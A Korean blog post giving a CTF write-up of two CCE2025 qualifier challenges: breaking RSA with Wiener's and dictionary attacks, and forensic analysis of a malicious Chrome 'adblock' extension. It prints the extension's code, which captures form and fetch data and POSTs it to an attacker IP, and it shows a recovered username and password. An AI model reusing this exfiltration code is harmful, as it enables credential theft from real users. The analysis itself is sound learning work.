2025. 8. 20. 20:06ㆍreview 및 write up
동아리에서 팀원을 모아 참가하게된 CCE2025예선
팀원들이 일정이슈등 여러가지 문제로 제대로 참여하지못해 여러모로 아쉬움이 남았지만, 문제 난이도들이 워낙에 어려운 탓에
write up을 남겨놓으면 좋을 것같아 글을 써본다.

나는 포렌식에서 something from a friend 과 암호학에서 joke 총 2문제를 풀어 500점을 획득했다
원래라면 웹해킹 문제를 풀고싶었으나,,,2문제빼고 0솔브라는걸 봐서 난이도가 괴랄했던 것 같다
[Crypto] joke
파일은 크게 서버 코드인 server.py와 농담이 담긴 jokes.py라는 배열이 있었다
jokes.py

server.py
from Crypto.Util.number import getPrime, GCD, bytes_to_long, long_to_bytes
from random import randint
from jokes import get_joke
from secret import flag
def rsa(nbits=1024, d_bits=256):
p = getPrime(nbits // 2)
q = getPrime(nbits // 2)
N = p * q
phi = (p - 1) * (q - 1)
d_max = 2**d_bits
while True:
d = randint(2, d_max)
if GCD(d, phi) == 1:
break
from Crypto.Util.number import inverse
e = inverse(d, phi)
return N, e, d
correct_count = 0
for i in range(10):
print(f"\n=== Challenge {i+1}/10 ===")
N, e, d = rsa()
print("N =", hex(N))
print("e =", hex(e))
joke = get_joke()
message_int = bytes_to_long(joke.encode())
ciphertext = pow(message_int, e, N)
print("Encrypted message:", hex(ciphertext))
print("Can you decrypt this message?")
user_input = input("Enter the decrypted message: ").strip()
if user_input == joke:
print("Correct!")
correct_count += 1
else:
print("Wrong! The correct message was:", joke)
break
if correct_count == 10:
print(f"\n🎉 Congratulations! You solved all 10 challenges!")
print(f"Here's your flag: {flag}")
else:
print(f"\nYou got {correct_count}/10 correct. Try again!")
서버에 접속하면 N값과 e값을 주고 메세지를 해독하라고 하는 간단한 문제였는데
암호학이다보니 코드를 보자마자 rsa라는 것은 크게 어렵지않게 알 수 있었다.
총 10번을 해독해서 최종플래그를 얻으면 되는데 이게 참 골때렸다
처음에는 d가 최대 2^256로 작게 제한되어 있어서 Wiener/Boneh–Durfee 공격을 사용해 d를 회수해 복호화 하는 방법을 썼다
# Wiener attack + decrypt
import math
N = int("ddc8fc25...6ef7", 16)
e = int("199cbcb9...bac05", 16)
c = int("aab90f7f...51cae", 16)
def cf(n, d):
while d:
a = n // d
yield a
n, d = d, n - a*d
def convergents(frac):
num1, num2, den1, den2 = 1, 0, 0, 1
for a in frac:
num1, num2 = a*num1 + num2, num1
den1, den2 = a*den1 + den2, den1
yield num1, den1
def wiener(e, N):
for k, d in convergents(cf(e, N)):
if k == 0:
continue
if (e*d - 1) % k:
continue
phi = (e*d - 1) // k
s = N - phi + 1
disc = s*s - 4*N
t = math.isqrt(disc)
if t*t == disc:
p = (s + t)//2
q = (s - t)//2
if p*q == N:
return d
return None
d = wiener(e, N)
m = pow(c, d, N)
pt = m.to_bytes((m.bit_length()+7)//8, 'big').decode()
print(pt)
복호화 코드는 gpt5를 사용해서 작성했다
한 중반 까지는 복호화가 잘되서 9단계까지 갔는데 갑자기 이런 오류메세지가 떳다
C:\Users\user>C:/Python312/python.exe c:/Users/user/Desktop/Python/decrypto.py Traceback (most recent call last): File "c:\Users\user\Desktop\Python\decrypto.py", line 38, in <module> d = wiener(e, N) ^^^^^^^^^^^^ File "c:\Users\user\Desktop\Python\decrypto.py", line 30, in wiener t = math.isqrt(disc) ^^^^^^^^^^^^^^^^ ValueError: isqrt() argument must be nonnegative
Wiener 공격 중 판별식(disc = s*s - 4*N)이 음수가 되버려서 실패한 것으로 math.isqrt() 부분만 음수 체크해서 건너뛰도록 바꿔봤지만, 또다른 오류가 뜰 뿐이였다
C:\Users\user>C:/Python312/python.exe c:/Users/user/Desktop/Python/decrypto.py Traceback (most recent call last): File "c:\Users\user\Desktop\Python\decrypto.py", line 41, in <module> m = pow(c, d, N) ^^^^^^^^^^^^ TypeError: unsupported operand type(s) for ** or pow(): 'int', 'NoneType', 'int' C:\Users\user>
이 오류는 N,e 쌍이 Wiener 조건(작은 d)에 안 걸린 것으로 애초에 Wiener으로는 풀리지않는 문제였던 것이다..(정확히는 풀릴수도있다 운이좋게 10번전부 작은d에 걸린다면)
그래서 평문이 저장되어있는 jokes.py를 이용해 사전대입공격을 추가하는 방식을 사용했다
# decrypto.py
import math, importlib.util, sys
from pathlib import Path
# === 서버에서 받은 값 ===
N = int("0xa31544454fca082bd7dea71161754f82461c3eb8d3e39265d5ffa16ea31988d85d8be088d057d8d7270a579b449c7f73646ea277eca096a2b2b9d47fc3a929a526d6e768f5b6487c85ad6d914ebdc745e22ce11482d7b660a34c8992b23369ac03e70bb1a0fae52b57e900068ff823770e83c813547381af6a3db7468beeaeb3", 16)
e = int("0x737a785dc344b7d99be4a89247391ba3be1fe2837f744803fee5a1ec757f07b2abc1ae0f349942005700902f317a4561cabe35bb2dc60fd453a9cfdb48f5a4d4e8cc2127796e7f40c4961d10481b71375b23db47a808770ea5c0a6031be741e9da25e5d9b1d9b33a6c4ef295d00f9fa86dba0a5de089f6efa7462a2c2b8a765d", 16)
c = int("0x82fb0fae974dd26e77afd0acdad7f289c74270ba318919036e14060d1620fbbc3163d92e8321eee636aad34d259c0ef6967c5584d1900e4570d9730dae55b902e0bfab0bfaa602c39b99b4dc48ef06f2b76457982f95adcfa2e8c0badaddfab0076c5ab7850c617d2aeec2aa696060f3d09a170b1f332cb4c0aa1b97332a6908", 16)
# === 공통 유틸 ===
def to_bytes(n: int) -> bytes:
return b"\x00" if n == 0 else n.to_bytes((n.bit_length()+7)//8, "big")
def safe_decode(b: bytes) -> str:
return b.decode("utf-8", errors="ignore")
# === Wiener (작은 d) 시도 ===
def cf(n, d):
while d:
a = n // d
yield a
n, d = d, n - a*d
def convergents(frac):
num1, num2, den1, den2 = 1, 0, 0, 1
for a in frac:
num1, num2 = a*num1 + num2, num1
den1, den2 = a*den1 + den2, den1
yield num1, den1
def wiener(e, N):
for k, d in convergents(cf(e, N)):
if k == 0:
continue
if (e*d - 1) % k:
continue
phi = (e*d - 1) // k
s = N - phi + 1
disc = s*s - 4*N
if disc < 0:
continue # 음수는 후보 탈락
t = math.isqrt(disc)
if t*t != disc:
continue
p = (s + t)//2
q = (s - t)//2
if p*q == N:
return d
return None
# === jokes.py 사전 대입 ===
def load_jokes_list():
"""
같은 폴더의 jokes.py에서 joke_list를 가져온다.
"""
jokes_py = Path(__file__).with_name("jokes.py")
if not jokes_py.exists():
return None
spec = importlib.util.spec_from_file_location("jokes", str(jokes_py))
mod = importlib.util.module_from_spec(spec)
try:
spec.loader.exec_module(mod) # type: ignore
except Exception:
return None
return getattr(mod, "joke_list", None)
def dict_attack(e, N, c, joke_list):
for s in joke_list:
m = int.from_bytes(s.encode(), "big")
if pow(m, e, N) == c:
return s
return None
def main():
# 1) Wiener로 먼저 시도
d = wiener(e, N)
if d is not None:
m = pow(c, d, N)
pt = safe_decode(to_bytes(m))
if pt.strip():
print("[+] Decrypted by Wiener:")
print(pt)
return
else:
print("[!] Wiener d 찾았지만 디코딩 비정상. 사전대입 시도…")
# 2) 사전 대입
joke_list = load_jokes_list()
if not joke_list:
print("[-] Wiener 실패했고 jokes.py를 찾을 수 없습니다. (jokes.py를 같은 폴더에 두세요.)")
sys.exit(1)
guess = dict_attack(e, N, c, joke_list)
if guess is None:
print("[-] jokes.py 사전대입 실패 (리스트가 다른 경우일 수 있음).")
sys.exit(2)
print("[+] Decrypted by dictionary (jokes.py):")
print(guess)
if __name__ == "__main__":
main()
jokes.py를 복호화코드와 같은 디렉토리에 놓아 Wiener공격을 먼저 시도하고 실패했다면 사전대입 공격을 진행하는 방식으로 시도했고 이 방법으로 10번모두 통과하여 플래그를 얻을 수 있었다.

이제와서 생각해보니 처음부터 사전 대입만 했다면 훨씬더 빠르고 간결하게 복호화했을텐데 중간에 덧붙이다보니 좀 아쉽게 푼 문제였다.
[Forensics] something from a friend
문제 설명은 대충 John이 해킹당했는데 메신저로 사진 몇장을 받은 기억이 있다고 했고
1. 공격자가 탈취한 정보를 전송한 서버의 IP를 구해라
2. 공격자가 "특별히" 노리고 있는 웹사이트의 도메인을 구해라
3. 2번에서 구한 도메인에서 사용중인 John의 계정을 찾아라
3가지 소문제를 합쳐서 플래그를 완성하는 형식이였다
이미징파일안에 메신저는 텔래그램과 디스코드 두가지가 있었는데 텔레그램 폴더에는 쓸만한 정보가 있는 것 같지않아 디스코드 폴더로 넘어갔다
처음에는 사진 몇장이라길래 스테가노그래피 관련인줄알고 디스코드 캐시 폴더에서 data 파일부분의 png를 뽑아서 스테가노그래피 분석을 해보았는데
png를 계속 뽑던 와중 디스코드 기본 프사가 나오길래 이건 주고받은 사진파일이 아니라 디스코드 프로필사진인걸 알고 f_00000x 캐시 파일로 넘어갔다

그렇게 캐시파일을 ftk Imager로 하나씩 보던중 누가봐도 수상해보이는 파일을 하나 발견했는데 애드블록을 다운받으라는 사진이였고, 나는 path에 써진 경로로 접근해보았다

adblock 폴더에는 다음과 같은 폴더들과 그에 해당하는 js파일이 있었는데 가장 수상한 background.js부터 열어보니
chrome.runtime.onInstalled.addListener(() => {
console.log("[+] Malicious extension installed.");
});
function initDB() {
return new Promise((resolve, reject) => {
const request = indexedDB.open("ExfilDB", 1);
request.onupgradeneeded = function (event) {
const db = event.target.result;
db.createObjectStore("logs", { keyPath: "id", autoIncrement: true });
};
request.onsuccess = function (event) {
resolve(event.target.result);
};
request.onerror = function (event) {
reject(event.target.error);
};
});
}
async function saveToIndexedDB(payload) {
const db = await initDB();
const tx = db.transaction("logs", "readwrite");
const store = tx.objectStore("logs");
store.add({
...payload
});
}
chrome.runtime.onMessage.addListener(async (message, sender, sendResponse) => {
if (message.type === "exfiltrate") {
const webhookUrl = "http://3.35.226.34/";
await fetch(webhookUrl, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(message.payload)
}).catch(() => { });
delete message.payload.isSpecial;
saveToIndexedDB(message.payload);
return true;
}
});
계정과 도메인을log로 기록해 IndexedDB에 저장하고 특정한 도메인일경우 공격자의 ip주소로 보내고 있다는걸 확인할 수있었다
소문제 1번은 풀린셈이니 다음 content.js코드를 보자
(async () => {
console.log("AD Blocked");
})();
function sendToWebhook(data) {
chrome.runtime.sendMessage({
type: "exfiltrate",
payload: {
timestamp: new Date().toISOString(),
location: location.href,
...data
}
});
}
(async function () {
const shouldTrigger = await window.runWasmCheck(location.href);
if (shouldTrigger !== 1) return;
const s = document.createElement("script");
s.src = chrome.runtime.getURL("utils/injected.js");
(document.head || document.documentElement).appendChild(s);
return;
})();
window.addEventListener("message", async (event) => {
let url;
if (event.data.direction === "from-fetch") url = event.data.payload.requestUrl;
else if (event.data.direction === "from-form") url = event.data.payload.action;
else return;
const result = await window.runWasmCheck(url);
if (!result) return true;
const isSpecial = await window.runWasmCheckDomain(url);
sendToWebhook({
type: event.data.direction,
payload: event.data.payload,
isSpecial: isSpecial
});
});
wasm을 사용해 checkDomain으로 isSpeacial을 판단하고 있는모습을 볼 수있다
그럼 이제 wasm파일을 분석해야하는데 wasm이란 웹어셈블리어로 이를 수도코드로 디컴파일 하려면 ghidra에 plugin을 설치해주어야한다.
https://github.com/nneonneo/ghidra-wasm-plugin?tab=readme-ov-file
GitHub - nneonneo/ghidra-wasm-plugin: Ghidra Wasm plugin with disassembly and decompilation support
Ghidra Wasm plugin with disassembly and decompilation support - nneonneo/ghidra-wasm-plugin
github.com
자신의 ghidra 버전에 맞는 zip파일을 다운로드해서 extension에 넣어주기만 하면 끝

그럼 이제 checkDomain에 해당하는 의사코드를 볼 수있다.
코드를 간단히 분석하자면, 입력 도메인을 정규화해서 바이트마다 변환해 DAT_ram_00000580부터 76바이트 개 있는 값과 일치하면 special로 판명되는 구조였다.
변환하는 연산은 function 97을 보면 볼 수있다
u32 unnamed_function_97(u32 s) {
u32 out = alloc_like_length_of(s); // unnamed_function_59: 길이
for (i=0; i< len(s); i++) {
x = get_byte(s, i); // unnamed_function_94
t = (((x ^ 0x5A) + 0x31) * 3) % 256; // 변환 규칙
set_byte(out, i, t); // unnamed_function_96
}
return out;
}
DAT_ram_00000580값은 4바이트 정수로 [3E, 0B, 50, 4D, 50, 2F, 1D, 2C, 44, 35, F8, 17, 44, 20, 35, 1D, EF, 2C, 32]로 나와있고 변환기준을 역연산하면 t가 DAT_ram_00000580 부터 값일때
x = ( (t * inv(3,256)) - 0x31 ) mod 256 XOR 0x5A 가 된다
이걸 파이선 코드로 돌리면

credential-vault.io라는 도메인이 나오게된다. 소문제 2번 해결이다
이제 로그는 indexDB에 저장된다고 했으니 /Chrome/userdata/default/IndexedDB에 들어가보면

크롬 확장프로그램 DB가있다
여기에 있는 로그를 살펴보면

이런식으로 도메인 이름과 계정정보들이 저장된걸 볼 수있는데, 특별히 보고있었다는 도메인은 credential-vault.io 라는 걸 알았으니 검색해보면

John의 credential-vault.io 계정정보가 기록되어있는 걸 확인할 수있다
이렇게 해서 최종 플래그는 FLAG{3.35.226.34_ credential-vault.io_th1s1sj0hn_Passw0rd12#$}으로 완성할 수 있었다
'review 및 write up' 카테고리의 다른 글
| H7CTF write up 및 후기(feat. RubiyaLab) (0) | 2025.10.21 |
|---|---|
| Fiesta2025 write up (0) | 2025.10.03 |
| SPACE WAR - Earth Write UP 및 후기 (0) | 2025.09.28 |
| 2025핵테온 세종CTF 리뷰 (0) | 2025.04.27 |
| CTF 운영 및 개발 후기 (3) | 2025.04.10 |